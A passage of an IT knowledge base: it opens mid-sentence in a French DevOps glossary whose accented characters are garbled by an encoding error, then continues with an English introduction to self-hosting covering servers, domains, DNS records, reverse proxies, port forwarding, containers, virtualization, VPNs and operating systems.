rĂ©fĂ©rentiel centralisĂ©, suite Ă  quoi des opĂ©rations de crĂ©ation et de tests sont automatiquement menĂ©s. L’intĂ©gration continue dĂ©signe souvent l’étape de crĂ©ation ou d’intĂ©gration du processus de publication de logiciel et implique un aspect automatisĂ©. Les principaux objectifs de l’intĂ©gration continue sont de trouver et de corriger plus rapidement les bogues, d’amĂ©liorer la qualitĂ© des logiciels et de rĂ©duire le temps nĂ©cessaire pour valider et publier de nouvelles mises Ă  jour de logiciels. ## IPAM IPAM, acronyme de “IP Address Management” (Gestion des adresses IP en français), est un ensemble de pratiques, de techniques et d’outils utilisĂ©s pour planifier, gĂ©rer et suivre les adresses IP (Internet Protocol) au sein d’un rĂ©seau informatique. ## Load balancing ou Ă©quilibrage de charge Un Ă©quilibrage de charge, en anglais “load balancer”, est un composant matĂ©riel ou logiciel utilisĂ© dans les environnements informatiques pour distribuer le trafic rĂ©seau entrant de maniĂšre Ă©quilibrĂ©e entre plusieurs serveurs ou ressources, afin d’optimiser les performances, la fiabilitĂ© et la disponibilitĂ© des systĂšmes. ## Microservices vs Monolithe Une architecture microservices est une architecture logicielle basĂ©e sur de petits services autonomes qui peuvent ĂȘtre dĂ©veloppĂ©s, dĂ©ployĂ©s et Ă©voluĂ©s indĂ©pendamment. Cette architecture s’appuie sur des orchestrateurs de conteneurs. Un monolithe est une architecture logicielle oĂč l’ensemble de l’application est conçu et construit comme une seule entitĂ© monolithique. Cela signifie que toutes les fonctionnalitĂ©s, les composants et les parties de l’application sont regroupĂ©s en un seul code source, une seule base de donnĂ©es et un seul exĂ©cutable. ## MutabilitĂ© vs ImmutabilitĂ© ImmutabilitĂ© : *CaractĂšre de ce qui ne peut changer*. Une **infrastructure mutable** est un systĂšme qui Ă©volue de **maniĂšre incrĂ©mentale** et donc mise Ă  jour de maniĂšre continue. L’état de l’infrastructure est le rĂ©sultat d’une **accumulation d’opĂ©rations** pouvant ĂȘtre pour certaines manuelles. Par contre, une **infrastructure immutable** est un systĂšme qui n’est jamais modifiĂ© aprĂšs son dĂ©ploiement. Ce systĂšme devra en consĂ©quence avoir le moins de mutation possible, voire aucune. Par exemple, pour construire des images de VM immutables, vous pouvez utiliser **Packer** d’**HashiCorp** pour ensuite les enregistrer en les versionnant dans votre gestionnaire d’ArtĂ©facts. ## NOC Un NOC (Network Operations Center) est un centre opĂ©rationnel chargĂ© de surveiller, gĂ©rer et maintenir un rĂ©seau informatique ou de tĂ©lĂ©communications. Les Ă©quipes du NOC supervisent les performances du rĂ©seau, dĂ©tectent et rĂ©solvent les problĂšmes et effectuent la maintenance prĂ©ventive pour assurer le bon fonctionnement continu du rĂ©seau. ## ObservabilitĂ© L’**observabilitĂ©** est la capacitĂ© de surveiller, d’analyser et de comprendre l’état interne d’un systĂšme informatique en temps rĂ©el. Elle repose sur trois piliers principaux : les logs, les mĂ©triques et les traces. Des outils comme **Prometheus** et **Grafana** sont souvent utilisĂ©s pour l’observabilitĂ©. ## Orchestration L’orchestration est un processus automatique de gestion d’un systĂšme informatique. ## RPO Recovery Point Objective (RPO) fait gĂ©nĂ©ralement rĂ©fĂ©rence Ă  la quantitĂ© de donnĂ©es qui peuvent ĂȘtre perdues au cours de la pĂ©riode la plus opportune pour une entreprise, avant qu’un prĂ©judice important ne se produise, Ă  partir d’un Ă©vĂ©nement critique jusqu’à la sauvegarde la plus prĂ©cĂ©dente. ## RTO Recovery Time Objective (RTO) fait rĂ©fĂ©rence au temps pendant lequel une application, un systĂšme et/ou un processus peut ĂȘtre en panne sans causer de dommages importants Ă  l’entreprise, ainsi qu’au temps passĂ© Ă  restaurer l’application et ses donnĂ©es. ## PAAS PaaS, ou “Platform as a Service” en anglais, se traduit en français par “Plateforme en tant que Service”. C’est un modĂšle de cloud qui fournit une plateforme de dĂ©veloppement et d’exĂ©cution d’applications sur le cloud. Ces services vont permettre aux dĂ©veloppeurs de crĂ©er, dĂ©ployer et gĂ©rer des applications sans se soucier de la gestion de l’infrastructure sous-jacente. ## Provisioning ou Provisionnement Le provisioning est un processus d’allocation automatique de ressources informatiques. ## SAAS SaaS, ou “Software as a Service” en anglais, se traduit en français “logiciel en tant que service”. C’est un modĂšle de distribution de logiciels dans lequel les applications sont hĂ©bergĂ©es et accessibles en ligne par le biais d’un fournisseur de services cloud. Au lieu d’installer et de gĂ©rer des logiciels localement sur un ordinateur ou un serveur, les utilisateurs peuvent accĂ©der Ă  ces applications via Internet, gĂ©nĂ©ralement Ă  partir d’un navigateur web. ## Scrum Un framework de gestion de projet Agile. ## Serverless Le **Serverless** est un modĂšle de dĂ©ploiement dans lequel les dĂ©veloppeurs n’ont pas Ă  gĂ©rer l’infrastructure sous-jacente. Les fournisseurs cloud allouent dynamiquement les ressources nĂ©cessaires Ă  l’exĂ©cution d’une application. Les exemples incluent **AWS Lambda**, **Google Cloud Functions**, et **Azure Functions**. ## Service Mesh Un **Service Mesh** est une infrastructure dĂ©diĂ©e Ă  la gestion des communications entre microservices. Il fournit des fonctionnalitĂ©s comme le **load balancing**, la gestion des Ă©checs, le monitoring, et la sĂ©curisation des connexions via des proxies. Les outils populaires incluent **Istio** et **Linkerd**. ## SLA/SLO/SLI - **SLA (Service Level Agreement)** : Contrat dĂ©finissant les attentes en termes de niveaux de service. - **SLO (Service Level Objective)** : Objectifs prĂ©cis liĂ©s aux niveaux de performance d’un service (ex. : disponibilitĂ© Ă  99,9 %). - **SLI (Service Level Indicator)** : Indicateur qui mesure un aspect de la performance, comme le temps de rĂ©ponse ou le taux d’erreur. ## SOC Un SOC (Security Operations Center) est similaire, mais se concentre spĂ©cifiquement sur la sĂ©curitĂ© informatique. Les Ă©quipes d’un SOC surveillent les menaces potentielles, dĂ©tectent les activitĂ©s suspectes, rĂ©pondent aux incidents de sĂ©curitĂ© et mettent en Ɠuvre des mesures de dĂ©fense pour protĂ©ger les systĂšmes informatiques et les donnĂ©es contre les cyberattaques. ## Supervision La supervision est un processus de surveillance et de gestion des systĂšmes informatiques, des rĂ©seaux, des serveurs, des applications et d’autres composants de l’infrastructure informatique. Elle vise Ă  garantir que ces systĂšmes fonctionnent de maniĂšre fiable, sĂ©curisĂ©e et efficace. La supervision informatique peut ĂȘtre effectuĂ©e Ă  l’aide de logiciels spĂ©cialisĂ©s qui collectent des donnĂ©es en temps rĂ©el sur les performances et l’état des Ă©quipements informatiques. ## Virtualisation La virtualisation est une technologie qui permet de crĂ©er des versions virtuelles de tous Ă©lĂ©ments d’une infrastructure informatique comme des serveurs, des Ă©quipements rĂ©seaux ou d’autres entitĂ©s informatiques. Elle vise Ă  isoler et Ă  abstraire ces Ă©lĂ©ments pour les rendre indĂ©pendants des ressources physiques sous-jacentes, ce qui permet une utilisation plus efficace et flexible de ces ressources. Elle est couramment utilisĂ©e dans des domaines tels que la virtualisation de serveur, la virtualisation de stockage, la virtualisation de rĂ©seau, la virtualisation de bureau et plus encore. ## VulnĂ©rabilitĂ© Une vulnĂ©rabilitĂ© est une faiblesse du code qui introduit ce qu’on appelle une faille de sĂ©curitĂ©. Ces failles peuvent ĂȘtre prĂ©sentes dans un systĂšme d’exploitation, un logiciel, un Ă©quipement de rĂ©seau ou un processus. Elles peuvent ĂȘtre exploitĂ©es par des acteurs malveillants pour causer un dommage, un accĂšs non autorisĂ©, des pertes de donnĂ©es, ou d’autres problĂšmes de sĂ©curitĂ©. Pour dĂ©tecter la prĂ©sence des vulnĂ©rabilitĂ©s, on fait appel Ă  des outils d’analyse de code et de dĂ©tection. # What Is Self-Hosting? > **The act of providing or serving digital content or an online service typically delivered by a business.** > > The service or content is generally served locally from your own hardware. Often "self-hosters" use older Enterprise-grade hardware from their home internet connections however they also use other hosting providers hardware. This is still considered self-hosting. --- One of the easiest things to self-host with the lowest barrier to entry is a website. For the most basic website of your own, all you need is a domain name and a webserver. Then you throw a few lines of HTML in a file and you have yourself a "website". With a service like Let's Encrypt, securing the site with a SSL certificate is easy too. A lot of different services that you can self-host are "websites". There are dynamic sites with robust content management systems like Joomla!, Drupal, WordPress, or b2evolution. There are forums like phpBB, MyBB, vBulletin, Discourse, etc. Knowledge bases like DokuWiki, MediaWiki, BookStack, or Gollum are also websites. These websites only require a webserver, an interpreter (PHP), and a database (SQLite, PostgreSQL, MySQL). Just about everything these days has a web UI or frontend to make things easier. HTTP/HTML/JS are well-understood standards that are ubiquitous. There are many libraries for converting or presenting your content in a web-friendly way for almost all programming languages you can learn. It can be hard for someone unfamiliar to find the difference between the "website" frontend and the content backend. Sometimes the difference is almost non-existent. Sometimes there are many layers and systems working behind the scenes to make it happen. It may be better to say that everything can be "accessed" through a website, even if it isn't one *per-se*. And if it can't, there's probably a separate piece of software that makes a web UI for it. Examples of services with a web UI or separate web-based frontends are: BitTorrent clients like qBittorrent/Transmission, media streaming servers like Jellyfin/Navidrome, file synchronization services like Nextcloud/ownCloud/Seafile, communication services like Synapse/InspIRCd/jabberd/Mumble, and many more. Other services use the server-client model where the entire package is in two parts. The server part that runs at all time to serve content and the client part that connects to have content served to it. Examples are: game servers like Rust/Minecraft/Factorio, FTP servers, email servers, and more. # Common Terms and Concepts of Selfhosting ## Servers
Servers are machines whose purpose is to provide a service or content over a network. They are typically administered remotely and only connect physically to power and a network. They "serve" content or services using software daemons. Bare metal servers are not virtualized. Any service or content they offer is configured on the host system. They are not new *per-se*, but with the introduction of containerization and virtualization, the phrase has been coined to differentiate the old-school server tradition from newer techniques. Their natural habitat is the datacenter, where they live in racks to survive off electricity and network data. While they are not able to reproduce, they have no natural predators, so their population is stable. Some breeds of server can be found in network/data closets where they live in a business. Fewer are still kept in captivity in private homes. Virtual servers are servers that are run under an emulator or hypervisor to provide a server-like environment using a software envelope which may be augmented with hardware support. ## Daemons
Daemons are software packages that run perpetually to provide content or a service. They differentiate servers from clients. Examples of daemons are webservers, email servers, file servers, authentication services (AD, LDAP), database servers, and many more. ### Webservers
Webservers are daemons that accept HTTP requests and serve set content based on the requested host (IP address or domain name). The content can be static HTML/XML or it can be dynamic (JavaScript, PHP, FCGI, WSGI). Webservers commonly offer reverse proxy functionality, it is common to use webservers for this purpose instead. Common webservers include: Apache, Cherokee, LiteSpeed, Lighttpd, nginx, and IIS. Apache and nginx are the top webservers by market share respectively, with IIS coming in third. ## Domain Names
Domain names are a word, phrase, or string that is used for navigating the Internet. They are registered to individuals or legal entities in lengths of years for a set fee. They are divided into levels, where each level is separated by a period (dot). Domain registrations include the top-level and second-level portion of a domain. All levels below are controlled by DNS at the discretion of the domain registrant. Top-level domains (TLDs) are .com, .net, .info, .edu, .org, etc. The customizable part of the domain name you can register is called the second-level domain. Third-level domains are referred to as *subdomains*. Structure: subdomain.*secondleveldomain*.**tld** E.g.: fr.*vainsta*.**fr** ### Domain Registration
Registering a domain name is done with a *Domain Registrar*. Prices are based on the top-level domain, but all registrations are for a period of one year minimum. Registrars come in two flavors: - Accredited: These registrars work directly with ICANN or other regional Internet registries for domain registrations. - Domain Resellers: These companies work with a "white label" registrar to resell domain registrations for a small markup. Accreditation requires quite a bit of infrastructure and vetting to make sure you can handle all aspects of registering and maintaining domains on behalf of the registrant. Resellers are popular because of low overhead and easy implementation. Many "white label" registrars have turnkey solutions for resellers to appear as independent registrars while actually reselling domain names. #### Which Is Right For You?
Choosing a domain registrar is easy. Picking a domain registrar that is trustworthy and reputable is less so. Many domain registrars also offer to handle the DNS records for the domains registered with them. Many registrars have domain registration as a part of their business. Registration is usually bundled with webhosting or other related services. You may even get a domain registration for free if you agree to a year-long hosting contract with a webhost. While bundling related services together under one roof may sound convenient, it is generally not a good idea. It is recommended to have your domain registration with a registrar, DNS records with another company, and hosting with yet another entity. Common reasoning for this piece of advice is that if your service provider has a serious outage or other technical problem, it can only affect one aspect of your online presence. If you have all services under one provider, a technical issue could prevent your DNS from resolving and your website/service from being served. You can find the list of ICANN-accredited domain registrars [here](https://www.icann.org/registrar-reports/accreditation-qualified-list.html). As far as finding a reputable, trustworthy service provider, we must insist on your own research. One of the most popular forums for discussing hosting and related services is **[Web Hosting Talk](https://www.webhostingtalk.com/)**. If a relevant service provider has a bad reputation in the industry, you can surely find out about it here. ### Domain Name System
The Domain Name System (DNS) is the method of defining what unique machines serve content for your domain. The important parts of DNS you have to worry about are *nameservers* and *DNS records*. #### Nameservers
Nameservers are a way to declare which servers are responsible for answering record requests for your domain. Most registrars provide DNS services, but if you have your DNS provided elsewhere, you will want to provide your primary and secondary nameservers to your registrar. The nameservers to use will be provided by your DNS service provider. E.g.: `ns1.dnsnameserver.net`, `ns2.dnsnameserver.net` #### DNS Records
DNS records are part of your domain name configuration called a DNS *zone*. - **SOA**: Start of Authority Records is generally handled by your DNS service provider automatically. They define: - **MNAME**: Master nameserver for the zone. - **RNAME**: Email for the domain administrator. Does not support "@", use periods. Periods before the domain name are escaped. E.g.: `some.one@example.com` => `some\\.one.example.com`. - **SERIAL**: The DNS zone **serial**, used to indicate when a zone has changed. - **REFRESH**: Time to wait for secondary nameservers to query the master. - **RETRY**: Timeout for refreshing. - **EXPIRE** Threshold time for secondary nameservers to stop attempting to reach an unresponsive master server. - **TTL**: The time to live to use for NXDOMAIN responses. **Example SOA**: ``` $TTL 86400 @ IN SOA ns1.nameserver.com. postmaster.sumdomain.com. ( 2020080302 ;Serial 7200 ;Refresh 3600 ;Retry 1209600 ;Expire 3600 ;Negative response caching TTL ) ```
The fields of a DNS zone record are: - **Domain**: Either the domain name or subdomain to create a record for. - **Time to live**: The time in seconds for a record to be cached before a new copy is requested. - **Class**: Indicative of the namespace. Usually IN (Internet namespace). - **Type**: The type of record to define. - **Content**: The content of the record. What is acceptable in this field is dependent on the type of record. There are many types of DNS records, let's go over some common ones. This list is **not** exhaustive. - **A**: A records tie the domain or subdomain to an IPv4 address. - **AAAA**: AAAA records tie the domain or subdomain to an IPv6 address. - **CNAME**: CNAME records tie the domain or subdomain to another domain or subdomain. - **MX**: MX records are used to define how mail is handled for your domain. The content of an MX record is the priority and answering server domain name. Lower preference number indicates higher priority. - **TXT**: Text records associate text data with your domain. They are used for a variety of reasons, notable for SPF or DKIM.
DomainTime To LiveClassTypeContent
example.com.86400INA192.168.1.240
ipv6.example.com.86400INAAAAfeef:00bb:2005:1eef:fbca:544d
www.example.com.86400INCNAMEexample.com.
example.com.86400INMX10 mail.mailserver.com
example.com.86400INTXT"Reserved for a purpose I am not legally required to disclose."
## Reverse Proxies
Reverse proxies are daemons that accept connections and then connect to another service based on port or host to facilitate the request. They act as a middleman instead of a traffic redirector. Typical use cases for reverse proxies are to provide a unified frontend for multiple backends or hosts. Another common use is for high-availability to provide failover or distribute load between multiple backends serving the same content. Examples of popular software capable of performing as a reverse proxy are: Squid, HAProxy, Apache, nginx, and Caddy. ## Port Forwarding
Port forwarding is the function of inspecting traffic on an incoming port and redirecting it to another port or host with minimal modification. Primary purposes of this are to forward traffic to a service behind a firewall/router. Common for hosting game servers from home when running dedicated servers before developers moved to match-making. Another use for this is to open ports for BitTorrent so that you can share your vast and innumerable collection of Linux ISOs. The difference between port forwarding and a reverse proxy is that the reverse proxy will accept, process, and establish a new connection to the backend service to fulfil the request. Port forwarding inspects and alters packet headers before it is routed to its new destination. The connection is otherwise untouched. Port forwarding is a function of your firewall. Commonly at the router or other network gateway. Linux has two firewalls called `iptables` and `nftables`, with many frontends or management packages available for them. BSD-based firewalls are `pf`, `ipfw`, and `IPFilter`. The Windows firewall consists of a scarecrow holding a sign saying: "plz no tresspass". ## Containers
Containers are software envelopes to isolate a piece or bundle of software and their dependencies. Containers come in many forms. A container could contain a PHP-based forum with an AMP stack (Apache, Maria DB, PHP) as dependencies. This is useful if you want an easy way to deploy software without configuring dependent software/libraries manually. Containers can also resolve software conflicts when running multiple services which depend on different versions of the same software/libraries. Popular containers are Linux Containers (LXC), jails (BSD UNIX), Kubernetes, and Docker. ## Virtualization
Virtualization is a lower level form of containerization. There are many forms of virtualization that provide different sets of features/tradeoffs. In practice, it often virtualizes whole or major parts of an operating system. ### Full virtualization
Full virtualization is generally understood as the containerization of a full, unmodified operating system with virtualized hardware. The virtualized OS is not host-aware. Fully virtualized guests require more overhead than paravirtualized guests. This can be mitigated with hardware support (Intel VT, AMD SVM) for virtualization instructions. Examples of this are Hyper-V, Xen, KVM/Qemu, VMware ESXi. ### Paravirtualization
Paravirtualization is the practice of running a modified kernel/OS where privileged instructions are sent through an API shared with the host. It does not require the virtualization of hardware, but it does require an operating system that is modified to be used with the specific API used by your chosen virtualization method. This can be in the form of source code modifications or specialized device drivers.

Microsoft Windows cannot be paravirtualized.

Examples: Xen, Oracle VM, OpenVZ. ## Virtual private networks
Virtual private networks (VPNs) are a way of networking individual machines together in software regardless of their physical or network proximity. A typical use case is for networking corporate locations together to share network resources such as file shares, intranet webservers, on-premises services, etc. Another use for a VPN is to tunnel traffic destined for a public service through to another endpoint, usually to bypass geo-location restrictions or state-imposed censorship of the Internet. Some people use VPNs so they can access their services that are behind a restrictive ISP or firewall. ## Operating Systems
An operating system is the software that is responsible for running and managing your physical machine. It provides the kernel, hardware drivers, low-level software packages, libraries, and userland applications for the end-user to provide basic functions. Most consumers or end-users will use Microsoft Windows or macOS as their operating system on their desktop or laptop computers. You will commonly find that corporate IT infrastructure used to serve employees is Microsoft-based, using ActiveDomain (AD) for authentication, Exchange for email and groupware, IIS for serving websites, and MSSQL for databases. Linux or UNIX-based operating systems are the popular choice for hosting services and serving content to end-users. Examples are webhosts for serving websites, Netflix for serving movie and TV streams, DNS services for domain records, and most if not all other infrastructure needed to keep the Internet operational. Android is a Linux-based operating system used in the majority of the smartphone market. iOS is a BSD-based mobile OS used by Apple for iPhones. Embedded Linux and BSD are also used in devices like set-top boxes, smart TVs, routers, smart switches, medical equipment, flight telemetry controllers for aerospace, navigation equipment, industrial automation, etc...